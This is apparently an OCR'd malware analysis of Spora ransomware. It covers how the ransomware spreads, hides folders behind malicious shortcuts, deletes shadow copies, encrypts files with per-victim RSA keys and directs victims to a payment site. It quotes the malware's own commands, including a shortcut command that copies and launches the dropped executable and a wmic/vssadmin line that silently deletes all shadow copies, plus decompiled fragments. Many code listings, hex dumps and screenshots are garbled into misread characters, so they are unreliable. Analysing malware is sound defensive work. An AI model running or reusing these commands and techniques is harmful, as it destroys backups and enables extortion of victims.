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Nowadays, ransomware has become the most popular type of malware. Most of the new
families are prepared by amateurs (script-kiddies) and they are distributed on a small scale.
There are only a few major players on this market that are prepared by professionals.
Recently, Spora ransomware joined this set. As we will see, some of the elements suggest
that there is a well-prepared team of criminals behind it.

Spora got some hype of being a ransomware that can encrypt files offline. In fact, this
concept is nothing novel — we already saw many ransomware families that can do the same.
For example DMA Locker 3.0, Cerber, or some newer editions of Locky. However, it has
some other features that make it interesting.

Analyzed samples

0c1007ba3ef9255c004ea1ef983e02efe918ee59 — case #1
o 4a4a6d26e6c8a7df0779b00a42240e7b — payload #1 — Spora ransomware <-
main focus of this analysis
o 38e645e88c85b64e5c73bee15066ec19 — payload #2 — a downloader similar to
this one

Distribution method
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Spora is distributed by various ways — from phishing e-mails (described here) to infected
websites dropping malicious payloads.

Some examples of the distribution method used by this ransomware are described here (the
campaign from 14.02.2017) and here (the campaign from 06.03.2017).

Behavioral analysis

After being deployed, Spora ransomware runs silently and encrypts files with selected
extensions. Then, it attempts to redeploy itself with elevated privileges. No UAC bypass
mechanism has been used — instead, the UAC popup appears repeatedly till the user
accepts it:

H User Account Control @

Do you want to allow the following program to make

changes to this computer?

Cih_ Program name:  Windows Command Processor
Verified publisher: Microsoft Windows

Program location: "CAWindows'\Systern32vomd.exe” fc
"ChUsersitester Desktoptl.exe” fu
Show information about this publisher's certificate

A) Hide details Yes || No

Change when these notifications appear

Then, it deploys another system tool — vssadmin, for deleting shadow copies:

BN C\Windows\systern32\cmd.exe El@

wssadmin 1.1 — Uolume Shadow Copy Service adminisztrative command—-line tool
CC>» Copyright 2801-2085 Microsoft Corp.

It doesn’t even try to be silent — command line window is displayed.

It also drops its own copy into C: directory. Several modifications are being made in existing
folder’s settings. First of all, Spora disables displaying an arrow icon to indicate shortcuts. It
makes all the existing folders as hidden and creates shortcuts to each of them. The shortcut
not only deploys the original folder but also the dropped malware sample.

Example of a command, deployed when the user clicks on the shortcut:
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C:\Windows\C:\Windows\system32\cmd.exe /c
start explorer.exe "Program Files"

& type "81d59edde88fc4969d.exe" > "%temp%\81d59edde88fc4969d.exe"
&& "%temp%\81d59edde88fc4969d.exe"

9

Spora doesn’t change filenames, nor adds extensions. Each file is encrypted with a separate
key (files with the same plaintext are encrypted to different ciphertexts). Encrypted content
has high entropy, no patterns are visible, that suggest a stream cipher or chained blocks

 Users

;) Windows

ProgramData

Python27

Recovery

Systern Volume Information
totalernd

Users

Windows
81d59edded8fc4969d. exe
autoexec.bat

baretail. exe

config.sys

J lock_me_bmp

pagefile.sys

| Perflogs
/ pin

Pin_Tools
PODFS-C2RTZ-TZTET-OETEY . html

. Program Files
| Python27

) totalcrnd

(probably AES in CBC mode).

2016-05-31 23:39 File folder
2017-02-22 01:38 File folder
2015-06-18 22:23 File folder
2017-03-08 17:05 File folder
2016-05-26 14:18 File folder
2015-06-18 22:23 File folder
2016-05-26 14:18 File folder
2017-03-06 23:05 Application 27T KE
2009-06-10 23:42 Windows Batch File 1KE
2015-06-05 18:20 Application 220 KB
2009-06-10 23:42 Systemn file 1KE
2017-03-08 17:30 Shortcut 1 KB
2017-02-22 01:56 Systern file 1048 576 KB
2017-03-08 17:30 Shortcut 1KE
2017-03-08 17:30 Shortcut 1 KB
2017-03-08 17:30 Shortcut 1KE
2017-03-08 16:21 Firefox HTML Doc... 17 KE
2017-03-08 17:30 Shortcut 1KE
| . Program Files Properties

Compatibilty |
General | Shortcut | Options | Fort

Securty

| Details

| Previous Versions

| Layout | Colors

3

Program Files

Target type:

Tanget:

Application

Target location: system3Z2

b= R AN S 1d B Sedde o4 5659d exe)

Visualization of a file — before and after encryption:
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The malware drops related files in several locations. The following files can be found in

%APPDATA%.

v Local Disk (C:) » Users » tester » AppData » Roaming »

ol

Share with - Mew folder

Mame Date modified Type Size

e, e e RS

. Zynamics 2016-08-11 01:21 File folder
||| 1150106411 2017-03-0516:01  File 9 KB |
| |&| POB64-34RTZ-TZTET-OETFY.HTML 2017-03-05 16:01 Firefox HTML Doc... 9 KB |
|| POBG4-34RTZ-TZTET-OETFY.KEY 2017-03-05 16:00 KEY File 2KB|
| B PO864-34RTZ-TZTET-OETFY.LST 2017-03-05 16:01 MASM Listing 4 KB|

The file with the .KEY extension and a ransom note in HTML format are also dropped on the

Desktop:

|ﬁ b tester » Desktop »

- Include in library = Share with = Mew folder
Marme Date modified Type Size
@ POTDT-40XTZ-TZTXZ-TOHTEHTML 2017-03-04 19:50 Firefox HTML Doc... 9 KB
|| POTD7-40XTZ-TZTXZ-TOHTF.KEY 2017-03-04 19:50 KEY File 2 KB

The .KEY file contains encrypted data about the victim that needs to be uploaded later to the
attacker’s website for the purpose of synchronizing the status of the victim.

When the encryption finishes, a ransom note pops up. In the first analyzed cases it was in a
Russian language. However, other language versions also exists, for example — English note

given below:

4/17



[Spora Ransormware X\ +

=& file:///Cif Users/tester/Desktop/POCE4-Q4RTZ-TZTET-QETEY html @lQ Szukaj ﬁ’ % J @

All your work and personal files were encrypted

To restore data, obtaining guarantees and support,
follow the instructions in your account.

https://spora store »

Personal Area

POCB4-94RTZ-TZTET-OETEY

What happened?

The content of the .KEY file is Base64 encoded and stored as a hidden field inside the
ransom note:

=form action="https://spora.bz' method='post'=>
</noscript>
<input name='u' type='hidden' walue='XDATABASEG4ENCRYPTED'/><input name='b' type="'hidden'
value="WWM1lg+EJzL5an] f+OWATSytsY2ELMBGXyCwS1eWeQjTx1aF jICgJBIsEsyqQOxASLEBIDAL JzDIWAVoSD3PIWXRHIWK31uTelocqqS6uikadUL3K
DYETTmYMCAHDZnZnhDIhBCUBLXcTg2x0Z10tROCOB1eRMbPE3qr LgRowdWK21Vp05S8ckAQVyW2hacZWpARLDgWp1ZvC tDh3BXDXVOxKLs9TaG4CTHS XeMs
UsCal4LQnbgPAcScIWmPDLIZpdXSirmNhVR7 gxzZIrYNVmGBREKd26z11+bzBT TREYCKZ Lok QST TPVIxjoLW2+T7s4/ TWS ] cDFvISxgi2t 9TpKCAQSC+Z)
QADVGrBal+LVYMIQZ9EPhNQILbiJYBqtxK7v]jz(SMmPIP/BOBatMDEMRDNwdzSyOawh7 taHtzDr TE5t+CG133107gbirP

A RDChARRC A TAa+MeanOMAU~DO~VC MOV T O 7 IVRUCC N A MOt 2008 Flbal M2 TAOF 7 FrRUm T RO M 70RDD /U TURFLw - Q7 TR T4 27T T v UhC U

In newer versions (#2) the .KEY file was not dropped at all, and the full synchronization with
the remote server was based on its equivalent submitted automatically as the hidden field. It
shows the second step in evolution of this ransomware — to make the interface even simpler
and more accessible.

Website for the victim

Ransomware itself is not looking sophisticated, except for its website for the victim and the
internals of the .KEY file (or it's base64 equivalent). In older versions, a user was asked to
upload the .KEY file to the website and all of his/her private information are retrieved, i.e.
username, infection date, status, etc.
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Synchronization Required

B

]
| |
i CHOOSE KEY OorR |
I and . :
I SYNCHRONIZE -“ /
| WARNING! |

In newer versions, there is no necessity to upload anything — when the user clicks the link on
the ransom note, the base64 content containing all the data is submitted automatically.

Ll | ==~ ||

Spora Ransormware XfCIient Page X\+

(' (i) @ https//spora.bz c || Q Search e 3+ @ =

ID: D0263B6923287D Balance: 0.00 USD Refill

) Block Date: 04.03.2017 L ]
| My Purchasings Username: tester [
190% 308 30% 408 2 FREE [
| Public Communication
Messzages: 3
TESLUTE dil [y mes i 1 CHerR s i
FULL RESTORE IMMUNITY REMOVAL FILE RESTORE FILE RESTORE

e hi, if | buy the full restore, can |
restore all my files in 1 click?

Reference: You full decrypt price is 190 USD. .
o | sent you a question about 5 hours
before, why you charge us 190USD
but not 79USD?
Available Payments Current Balance: 0.00 USD I need an answer quickly since the
deadline. E

o | paid the Full Restore fee, followed

the instructions, and my computer
' returned to normal.
e Hello | need more time to obtain
Bitcoins. Please extend my m
deadline to march 12th.

BitCoin Need Help?
accepi‘ed here Type your message. .

Send |
Some information is also encoded inside the victim ID: country code (first two characters),
hash, statistics about encrypted files types (how many particular types of files has been
encrypted of each category: office document, PDF, Corel Draw, DB, Image, Archive). You
can find a decoder here.

Another step taken by authors to provide a user-friendly interface is the fact that the site
(although hosted as a hidden service) does not require users to download a Tor browser, like
most of the ransomware, but instead, provides a convenient gateway at spora.bz.

Inside

Spora executable comes packed in various crypters. It has been also observed distributed in
bundles with other malware. In case #1, after defeating the first encryption layer, we can find
two UPX-packed payloads. They can be unpacked by the standard UPX application. As a
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result, we are getting samples that are not further obfuscated. In the mentioned case, Spora
ransomware was distributed along with a malicious downloader
(38e645e88c85b64e5c73bee15066ec19) similar to the one described here. (Since this
article is dedicated to Spora ransomware only, the second payload will not be further
described).

Execution flow

Spora’s execution path varies depending on the parameter with which it has been deployed.
On its initial run it is executed without any parameter. Then, the basic steps are the following:

1. Create mutex (pattern: m<VolumeSerialNumber:decimal>)

2. Decrypt AES protected data stored in the binary (i.e. RSA public key, ransom note, sample
ID)

3. Search files with the attacked extensions. Make a list of their paths and statistics of the
types.

4. Generate RSA key pair (one per victim)
5. Encrypt files with the selected extensions

After completing these operations, Spora redeploys it's own binary — this time with
Administrative privileges (causing UAC alert to pop-up). It passes in the command-line a
parameter \u’ that modifies the execution path.

iF.{ 15_u;paraﬁ }J'
{
delete_shadows();
delete_shortcuts{vs);
hObject = CreateFileW({buf, Bx88088088, 3u, 8, 3u, 6x80u, B);
if { *CreateStreamOnHGlobal({®, 1, &ppstm) )}
{
enum_drives{{int { stdcall =)(UCHAR =, UIHT, int, int))sub_4B84BDF, A, B);
wnet_enum();
if { CrypthAcquireContextW(&hProv, B, 8, 8x18u, BxFOOBOG0A) )
{
hKey = import_key();
CryptReleaseContext{@, 8};
¥
{(*{void { stdcall **}{_DHI]HD}}{. + By)(@);
H
CloseHandle({d);
remove zoneidentifier drop copies();
LABEL 4:
ExitProcess{@);

Some of the steps that are executed in such case are:

1. Delete shadow copies
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menset(&pExecinfo, 8, 68);

pEzecinfo.nShow = 8;

pEzecInfo.chSize = 68;

pExecInfo.lpFile = L"umic.exe";

pExecInfo.lpParameters = L"process call create \'cmd.exe fc vssadmin.exe delete shadows /fquiet /fally'"';
pEzecinfo.fMask = 1824;

vl = B8;
do
{
if { ShellExecuteExU{&pExecInfo) }

break;
Sleep{8x18u};

2. Modify Inkfile settings (in order to hide an arrow added by default to indicate shortcut —
more about it’'s purpose described in the section “Behavioral analysis”)

phkResult = this;
if { tRegOpenKeyExW{HKEY_LOCAL_MACHIHE, L"SOFTWAREA\Classesi\lnkfile"™, @, 2u, &phkResult} }
{

RegbeletelalueW{phkResult, L"IsShortcut™});
RegCloseKey{phkResult);
SHChangeMotify({Bx8A0086808, 8, A, 8);

H

3. Drop it's own copy and the ransom not on every drive
4. Deploy explorer displaying the ransom note

What is attacked?

Spora ransomware attacks the following extensions:

xls doc xlsx docx rtf odt pdf psd dwg
cdr cd mdb 1cd dbf sglite accdb jpg
jpeg tiff zip rar 7z backup sql bak

They are grouped in several categories, used to build statistics for the attackers. The
categories can be described as such: office documents, PDF/PPT documents, Corel Draw
documents, database files, images, and archives:
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ext office

ext pdf_ppt

ext_coreldraw

ext databases

ext_images

ext_archive

dd

dd
dd
dd
dd
dd
dd

dd
dd
dd

dd
dd
dd

dd
dd
dd
dd
dd
dd

dd
dd
dd

dd
dd
dd
dd
dd

offset

offset
offset
offset
offset
offset
offset

offset
offset
offset

offset
offset
offset

offset
offset
offset
offset
offset
offset

offset
offset
offset

offset
offset
offset
offset
offset

a_x1s

a_doc
a_xlsx
a_docx
a_rtf
a_odt
a_pdf

a_ppt
a_pptx
a_psd

a_dwg
a_cdr
a_cd

a_mdb
a_1cd
a_dbf
a_sglite
a_accdb
a_jpg

a_jpeg
a_tiff
a_zip

a_rar
aiz
a_backup
a_sql
a_bak

DATA XREF:
"oxlst

" .doc*”
vomlsx'

" .docx"
"orEFET
*.odt"
DATA XREF:
" _pdf”

" _ppt™
T.pptx”
DATA KREF:
" _psd”
*_dug"

" ocdrtt
DATA XREF:
" ed
*.mdb**
“.Acd”

" .dbf"
".sglite"
" . accdb"
DATA XREF:
[T} -:ipgll
"']PEg"
B K S
DATA KREF:
n -zipll
"orar'
T

" .backup”
" _sql™

" _bak"

Several system directories are excluded from the attack:

windows
program files

program files (x86)

games

How does the encryption works?

check_extension group+26)lr

check_extension _group+3Clyr

check extension group+52}Lr

check_extension group+68JLr

check_extension_group+7E}Lr

check_extension_group+94}lr

Encryption used by Spora ransomware is complex, follows several levels. It uses Windows
Crypto API. The executable comes with two hardcoded keys: AES key — used to decrypt

elements hardcoded in the binary, and an RSA public key — used to encrypt keys generated

on the victim’s machine.

In addition to operations related to encrypting victim’s files, Spora uses Windows Crypto API
for other purposes —i.e. to encrypt temporary data, and to decrypt some elements stored in

the binary.

First, it creates a file in %APPDATA% — the filename is the Volume Serial Number. This file
is used for temporary storing information.
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HE4E5HE 1 > |CALL 1.884R551E
BE4E5AES - dMP 1 BR4BESCE
BE4ESAER * |FUSH EEP hTemplateFile = MULL
HE4HSREC . |PUSH @ns@ Attributes = MORMAL
EE4ESAF 1 FUSH G4 Mode = DPEH_HLNHVS
HE4E5AF S FUSH EEF pSecurity = MNULL
BE4E5AF 4 WOR EEX, EEH
BE4ESAFE IMC EEX
BE4EEAF Y FUSH EE¥ ShareMode = FILE_SHARE_READ
BE4ESAFS FUSH ExCEEEEEEE Acocess = GEMERIC_READGEMERIC_WRITE
HE4HERFD FUSH ESI FileMams = "Czs~Users~~tester~~Applata~~Roaming~~115a186411"
CALL OWORD PTR OS5:[<&KERMEL3Z.CreateFilell:] CreateFilell
EEEEE=EE] MOY OWORD PTR DS: [EH4HSEDE], EHX
The temporarily stored information is encrypted with the help of the function
CryptProtectData:
AE4ESEAS MO [CLOCAL . 3] EHX
BE4A5EAS MOL ERX, [ARG. 21
HE4E5EAE MO [LDCHL.4].EHH
BE4a58AE LEA ERX, [LOCAL.Z]
BE4A58E1 . | PUSH ERX pOatalut
BE4EEEEZ || . | PUSH Bx% dwF Lags
BE4H55E . |PUSH EDI pPrompt Struct
BE4H55ES . | PUSH EDI puReserved
BHE4HEEES FUSH spora un.@@8485378 pOpt ionalEntropy
BHE4HSEER FUSH EDI szD0at abescr
HE4EEEEC LEA ERX, CLOCAL. 41
HE4AEEEF FUSH ERH DATA_ELOE# inData
. |CALL DWORD PTRE DS:[<&CRYPT32.CryuptProtectDatal] crupt 32, CruptProtectData
EE4EEECE || . | TEST EAH, ERR
AE4EEECE |] .« JE SHORT spora_un.B@8485718
AE4EEECA (] . | PUSH ESI
AE4ASECE HMay EST, OWORD PTR D5:[<&KERMELZZ.WriteFilex] kernel32.WriteFile
BE4H5501 FUSH EDOI plOuver lapped = MULL
HE4E5E02 LER ERX.[ARG. 11
Ba4a5805 FUSH EHH pButesllritten = B81ZFEE4
BE4R5E05 . | PUSH nButesTollrite = Bxd
BE4a5E0g (] . | LEA EHH [LOCAL. 21
Ga4asE0E || - | PUSH EAR Euffer = BE1ZFEE4
AE4EEE0C | . | PUSH DWORD FTR DS: [AX<4BEE995] hFile = BABEBEAR (window)
HE4E5EES CALL EZI WriteFile
L
ERx=A81ZFEE4
Address |Hed dump HSEII
HE1ZFEE4| 28 1F @@ 8@ CA 4C 59 BA|C4 FF 12 BA|EZ 97 12 V& LY L= FLGSH
HE12FEC4|E4 FE 12 8@ 29 57 48 B8 A1 0@ B8 88| CA 4C 59 848 ﬁ-#.éM@.E...LLV.
HE12FED4 |28 1F B8 @3 F2 CC 52 G0 00 B8 88 @0 64 68 &4 @1 ?..“FH ..... . di
EE1ZFEE4 | @B B8 88 88 07 &5 48 B8 B0 08 B8 98| 68 06 68 88 0¥ 0hcooogonoo
GE1ZFEF4| 94 FF 12 B8 B 2@ FO 7F OB B0 B0 B0 81 B B8 89| & +. R e T -
HELZFFEY | 0B B8 B8 B8 00 B8 B8 B8 00 D8 B8 B0 00 D8 B8 B8] ... e i e aanannns

It includes, i.e. list of the fies to be encrypted (with extensions matching the list):

Address

Hex dump ASCII

BAS3I4CCa
BES34C08
BERSI4CER
BESI4CFE
BES24088
BES24018
aasa4028
BR524038
Bas5 34048
BERS34058
AR 24068
BES 2407 E
BEE24028
BES24098
aas240R8
AR 240E8
BAS340Ca
BES34008
BEE240ER
BEE240FE
BES24EQE
FRE94F 1A

-
£
]
]
A
o
=
=)
|
pu
]
]
o
(]
=
=)
o
=)
]
]
-
]|
=
=)
T
S
]
]
[y
=
=
=
=+
[

a1}
.

]

.

WM oo R
. H

.

B

+
.

AL U NP TR i = o =i B O )
.
-
.

A4 00 LD AL S0 S0 H0N S e s O
H

e = R = ey I )
.

L e x £ B T P w Bty o T et = T R Y T ]
w8

'
u
'

o
[
=
=
T
¥ul
=
=
T
[=
=
=
T
=
=
=
T
o
=
=
T
I
=
=
=
[
=
=
T
I
=
=
Wt AP0 D SO Qm 3N

J /0 wTO AT PEOTAMI ZT=0Z -
=MMe Dttt 00 TAIO0SE 2700 T

The malware sample comes with a hardcoded key that is being imported:
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s |FUSH EEF
EE4EsE2F | . | MOU EBP, ESP
BE4EEEE] FUSH ECH cryptsp. FEE264CE
BE4E5E32 FUSH ESI
BE4HEEES LEA ER:, [LOCAL. 11
BE4HSEIE FUSH ERX
BE405E37 ®OR ESI,ESI
BE4EEEED FUSH ESI
BE4ESEIA FUSH ESI
HE4ESHSE FUSH Ex 20
BE4E5E30 FUSH 1.884811A08
[S[sEYsIs Y] FUSH OWORD FTR OS5: [E:<4ESERE]

CALL DWORD _FTR DS: [<&ADVARPISZ. CryptImportkew | advapisz. CoyptImportiey

BEd4E1 1AE=1. BR4E11AS

BOCELEET
Qgigfigs gg”ag”gg aaliﬂ_ﬁﬁ_ﬂﬂ_ﬂﬂ_§§CI{F # [EE1ZFEED | BE4BLLAZ| 1.004811A2
colioc AE1ZFECH | POERREZC
o e e e e P s TaTEy | ELoiEiEn
aa4e11E2[AF B1 F& BB 9C FE vH 28|#6=avzs| | | ARiSFECS | nemRamme
Bo4a11CH| S8 B8 BB 2F 38 E6 AF CO| 35g-@s=| — |DOLSFECS | Go60000G
BO4E1103| A3 F2 36 E8 SC 7B CE 18|E,6RILTE e
e 1 1 L1 N R BE1ZFED4 | TEA284CE| RETURN to cruptsp. PEEZE4CE from cruptsp. TEEEE9SE
BE461105| 18 24 1B 7r Sf 496 A6 FE| Mstwckin QO12FEDY | rE6264CE
B ri= - peep—— S B T BE1ZFEDC | BE4BSESC| RETURN to 1.BB4ESHEC from 1.DR4EEEZE
BB4611FA| € B9 OB EE| AD 52 46 6| E.dnace. A || R AaCleRlilAE

Itis an AES 256 key, stored in a form of blob. Explanation on the fields in the Blob Header:

08 - PLAINTEXTKEYBLOB - key is a session key
02 - CUR_BLOB_VERSION

0x00006610 - AlgID: CALG AES 256

0x20 - 32 - key length

The AES key is used for decrypting another key, stored in a binary — that is an RSA public
key:

DHOL LwunD rin DOE LwsHUYHE LOS o UYL LI L e AUV HR L DS e UYL LML L

BE4EEE4E |1 . | TEST EHR,ERH

BE4E5E5E ) .~ | JE SHORT 1.664685872

BE4E5A52 LERA ERX,[ARG.Z21

BE4E5ES5 |1 . | PUSH ERR

AE4E5855 |1 . | PUSH CARG. 11 1.884811F5
BE485859 |1 . |PUSH ESI

BE4ESESH FUSH ESI

BE4E5EA5E PUSH ESI

HE4HEEED FUSH CLOCAL. 113
CALL DWORD PTR DO5:[<%A0DUVARIZZ. CruptOscrupt»] advapiZz. CruptOecrupt

TEST ERX,ERx

4 [

ERX=A88EREE1

Address |Hen dump ASCII
FEdEl1FS[ 20 20 20 20 2D 42 45 47 49 4E Z@ 5@ BE 42 4C 49| ————- EESIH FLELI
FE4E12E2( 42 28 4B 45 59 20 20 20 20 20 BA 40 49 47 66 40| C KEY-———— MIGFH

BE4E1212(41 38 47 43| B2 7L 47 B2/ 49 £2 22 44 51 4E 42 41| OBGCSESILADGEER
BE4E1Z22(E1 BE 41 4134 47 4E 41 44 43 42 &3 B1 4B 42 &7 GUAAHEHADCE L GKES
BE4E1252( 61 43 26 43| 4F 66 6A 24 29 45 20 73 &R 4E EF 7B BCECOF{49E6y jEcp
BE4E1245(53 78 5@ 35| 6B 62 65 43 52 51 7@ BA 57 &4 7@ 57| SpPSkbeCREp. idph
BE4E1Z55| 76 7S 35 55| 4A 6A 55 7O 54 &3 v4 42 61 37 rv3 76| waSHJjEz ThtBarsw
BE4E1Z65 75 2F 52 76| S8 54 SO 5B 47 79 d4F 47 28 44 74 62| s-RuNdZPEW0EEDTD
BE4E1275 47 4E B2 dC| 73 77 oF 59 4B 7E B2 62 52 &E EF 66| GHbLswlYKuRcRnlif
BE4E1252| 67 35 23 29|57 42 39 72 57 67 44 22 BA 41 40 51| WESSTES:Ng0=. AHR
BE4E1292| £4 34 4B 47|49 65 B4 43 &R 73 62 EB &3 G 74 21| dAKGEIeTHjsbkoStl
BE4E1202| 44 BE 72 £E|2F Ei 72 7C 29 &A EE 24 SA 42 57 79| DUuerfsuBindZEry
BE4E1ZES| 4B B4 45 TA|4E EF 5 53| 79 &F EE I8 52 &0 E9 77| KTE=KleSyonEHmy
BE4E1ZCE|6F 46 73 6533 94 75 65 45 72 6E 4E 4C ©A 4C 50| oFsh34ueErnHL.LE
BE4E1Z05(E1 63 4C 55|36 65 6F 52 48 &F 58 54 56 71 41 77| BolaShoRHoETUgAw
BE4E1ZE5( 49 44 41 E1/41 42 BA 20 20 20 20 20 45 4E dd 20| IDARAE. ————- END
BE4E1ZFS| 56 55 42 4C| 49 45 2@ 4B 45 59 2D 20 2D 20 20 8A| FUBLIC KEY---——- .

MIGTfMAOGCSqGSIh3DQEBAQUAA4GNADCBiQKBgQC6COTj49EQY jEOopSpP5kbeCRQp
WdpWvx5XJj5zThtBa7svs/RvX4ZPGy0GODtbGNbLswWOYKURCRNWTW5897B8xWgD2
AMQd4KGIeTHjsbkcSt1DUye/Qsu0jn4zZB7yKTEzKWeSyon5XmYwoFsh34ueErnNL
LZQcL88hoRHOOTVQAWIDAQAB
————— END PUBLIC KEY-----

After that, the same AES key is imported again and used to decrypt other elements:
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The ransom note in HTML format:

AE4EEEEE || o+ | JE SHORT 1.HB485873

AE4EsEEZ (| o | LEA ERX, [ARG.Z21]

AE4EEEES || . | FUSH ERX

AA4EEASE || . | FUSH C[ARG.11 1.88481318

HE4EEEES | . | PUSH ESI

AE4EacEEa || . | FUSH ESI

AE4EEEEE || . | FUSH ESI

AE4EsEEs || . | PUSH CLOCAL. 13
. |CALL OWORD PTR D5:[C<&ADOVARPIZZ.CryptDecrypt ] aduwapidZ.CryptDecrupt
. | TEST ERX,ER=X

BEAEEEEY [] .~ | JE_SHORT 1.B@8485685A

[l
Stack 55:[PR1ZFEEAI=BR481315 (1.88481315)

Address |Hed dump ASCII
AE4E1318[EF BEE BF 3C| 68 74 &0 &C|3E 3C &8 65|61 &4 3E 3C[ ‘Fq<htmli<headi{
AE4E1328( 74 &9 74 &C|65 3E 53 FA|&F 72 61 28|52 61 6E 73| titlexSpora Rans
AE4E1332( 6F &0 77 &1|F2 65 3C 2F| 74 &9 ¥4 BC|EE 3E 3C BD| omware< <t it lerdm
AE4E1342( 65 74 61 28|62 68 61 72|72 65 ¥4 30|27 7FE ¥4 EE&[eta charset="utf
BE4E13E2( 20 38 27 3E|(2C v2 74 79|EC 65 28 74|79 YH &5 30(-2"kistule tupe=
AE4A1368( 22 ¥4 65 V2| VP4 2ZF 63 V3|73 22 5E 62| &F A4 V9 28| "tent-oss"rbody
BE4A137E( FE 62 61 63| 6B &7 ¥2 &F| 7S 6E &4 3A| 22 65 &4 5| {background: #ede
BE4E1388( 65 &5 28 3B|(62 &F &C &F|FZ2 ZA 28 32|32 32 65 33| ef@;colori#2ZIF3
BE4E1393( 39 3B &0 61| F2 &7 69 GE|[3A 20 3B 7A@| 61 &4 &4 69| Fjmargin:B;paddi
AE4E13AS( 6E &7 3R 38| 3B &5 &F EE|F4 20 ¥3 69| FA &5 3A 31(ng:@;font-size:l
BE4E1ZIBS( 32 FB 72 3B|66 &F BE Fd4| 2D &6 61 60|69 &C V9 3A| 2pHifont—family:
AA4E13CE[( 52 6F 62 EF| 74 6F 2C 4F| 7@ &5 &E 28|52 &1 &E 72| Roboto,0Open Sans
BE4E1302( 2C 48 &5 &C|7PE 65 ¥4 69|62 &1 28 4E| 65 VE &5 2C| ,Helwvetica Meue,
AE4A13ES( 72 61 6E 73|20 73 65 72|69 66 3B &C| 629 &E &5 20| sans-serifiline-
BE4A13FS[ 62 65 69 &7F|62 ¥4 3A 31| 2E 31 35 34| 3B 66 6F EE[(height:l.154;fon
pE4El4@3( 74 20 77 65|69 &7 &8 V4| 3R 24 20 28| 3B YD &8 F2 t:welgh?34?aignr

T e LI L T e T R B R R e R e B e T T e R ]

Bad4atace || . LEA EAx.[ARG.Z]

BE4EA5ECE || . PUSH ER:

BE4E5EEEL || . PUSH CARG.11 1.668481104
BE4a5659 | . PUSH ESI

BE4a565H || . PUSH ESI

88485858 || . FUZH ESI

BE4ASASC (] . FIJSH CLOCAL. 13
. CALL OWORO PTR DO5:[C<&ADOVARIZZ.CruptDecrypt =] aduap i32. CryptDecrupt
TEST ERAZ.EAX_

S

Address |[Hex dump ASCII
PO901107(44 32 38 93 43 93 51 99 3¢ 32 00 07 00 00 00 00| D2BaCaIavE. ...

D283C31972

For every victim, Spora creates locally a fresh pair of RSA keys. Below you can see the
fragment of code generating new RSA key pair (1024 bit):

aa4cEcol || S | JE 1. BE4eECTS

Ba4asCcay (| . LEA ERX,OWORD PTR S55:[ESP+@x18]

BEdEscae (| . FUSH ERX

BE4Escac (| . PUSH Bx4@8686E61

BE4ESC11 0 FUSH ExA4E8

BE4ESCLE (] . FUSH OWORD FPTR OS:[Bx4@SEEEA]

HE4EASC1C . EE%& QHERQHETR O5: [<&A0OUAPIZZ2. CruptGenkey »] aduvapi3d2. CruptGenkey

Explanation of the parameters:

0XA400 - AlgId: CALG_RSA KEYX
0x04000001 - RSA1024BIT_KEY | CRYPT_EXPORTABLE

The private key from the generated pair is exported and Base64 encoded:
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BE4E4F Ce
Ba4E4FCF
Ba4A4FCS
GE4E4F G

aa4a4F05S
GE4E4FO7
Ba4E4F00
Ga4a4FER
Ba4A4FES
GE4E4FES
Ga4E4FET
Ga4a4FED
GE4E4FEF
BE4E4FF2
Ba4E4FF2
Ba4A4FF4
GE4E4FFE
Ga4E4FFS
BE4E4FFC
BA4AERE2
BE4ASEAL
BE4ESEER
BA4ASHAE
GE4AERAED
BE4ESHEF
Ba4Ea561 1
BA4ASET4
BE4ACELE
Ga4Esa1c
Ga4a5621
BA4AERZ2
BE4ESEZE
BE4ACHZE

R

EE=

H a1
CLOCAL.11]
CLOCAL. 2]
DWORD PTR DS: [<&CRYPTS2.CruptBinaruToStr ingll:
ERH, EAX
JE zpora_un.B804651A81
PUSH [CLOCAL. 21
PUSH G4
CALCL ESI
HMOU [CARGE. 1], EAX
CHFP ERX, EB®
JE spora_un.868465181
LEA ECH, [LOCAL.Z21
PUSH ECH
PUSH EARX
PUSH &1
FLUSH CLOCAL. 1]
PUSH CLOCAL. 2]
CALL OWORD FPTR DS:L[<&CRYPT22.CruptBinaryToStringA:
HMOU ERX, [LOCALSZ]
ADD ERK, 81 2EE
PUSH EAR
PUSH Guda
CALCL EsI
MOW EDI, EAR
MOU ELOCAL. 43, EDI
CHP EOI,EBEX
JE spora un.3846856EFS
FUSH spora un.B84684618

PUSH EDI

CALL DWORD FTR D5:[<&KERMEL3Z. lstropyA]
FUSH [ARG.11

MOU EST, DWORD PTR 0S: [<&KERMEL3Z. lstrcatH:]
PUSH EDI

CALL E=I

[
[

G254

crypt32. CruptBinaryToStr ingll

kernel32. lstrocatA

kernel22. 7EE097C2

Bu2E4

crypt32. CryptBinaryToStringl

kernel32. lstrocatA

String2
Stringl
letropyl

BE27ITFS

————— EEGIN RSH PRIUATE KEY

_____ ™

StrinaTofdd = "BwIlARACKARESUEEY ARGARAERRREZE LB Al vd2pSkOwdek uHi UL

kernel22. lstrocatH

ConcatString = - BEGIM RSA PRIVATE KEY-———- rn

l=troatA

The formated version of the private key is stored in a buffer — along with the collected data
about the machine and the infection, including: date, username, country code, malware
sample id, and statistics of encrypted file types.

Example:
BE4EIF4F (] « FUSH 1.88481104 ASCII "DZ285C31972"
BE4ESFES (] . FUSH EDI
BA4E3FEE (] . CALL ESI kernel32. lztrcatA
EE4E3FET (] . FUSH 1.88483305
Ba483FEC (] . FUSH EDI
BE4E3FE0 o CHALL ESI kernel32. letroatA
BE4EIFEF (] . FUSH EDI
BE4E3FEA (] . CALL EEBX kernel32. Lt lenA
BE4ESFEZ (] . FUSH OWORD FTR DOS: [B<4B5EA4 ] CHUE = BRE
BA4ESFES (] . AOD EOI,EAX
BA4E3FER (] . FUSH DWORD PTE DS: [Bx4B5EAREA] AU = 26 (38,)
HE4E3F7E (] . FUSH DWORD PTE DS: [Bx4E5E9C] LHur = BuB
BA483F7E (] . FUSH DWORD PTR DS: [Bx4B5E9S] “Hur = Bxd
BE4EIFFC o FUSH DWORD FTR DS: [E-4B5E94 ] “HadE = BxA
BE4EIFEZ (] . FUSH DWORD FTE DOS: [Bx4@5E9E] SHU = BHE
BA4E3FEE |] . FUSH 1.884832C4 Format = "™xu b D Eu D Eu R bRy
HA4ESFE0 (] . FUSH EDI = = BBZF47ET

o CALL DWORD PTR DS: [<&USERSZ2.wsprintfA>] |kwsprintfA

AA4AZF34 (] . AOD ESP, G 26
el | -~ | PlIcH FORE 11 FhHemeen — RRPEAROR
4 |l
BA4832C4=1. 08483204 (ASCIT "&Hu i Hu i Hu i Hu 2y Hu™)
Address |Hed dump ASCII
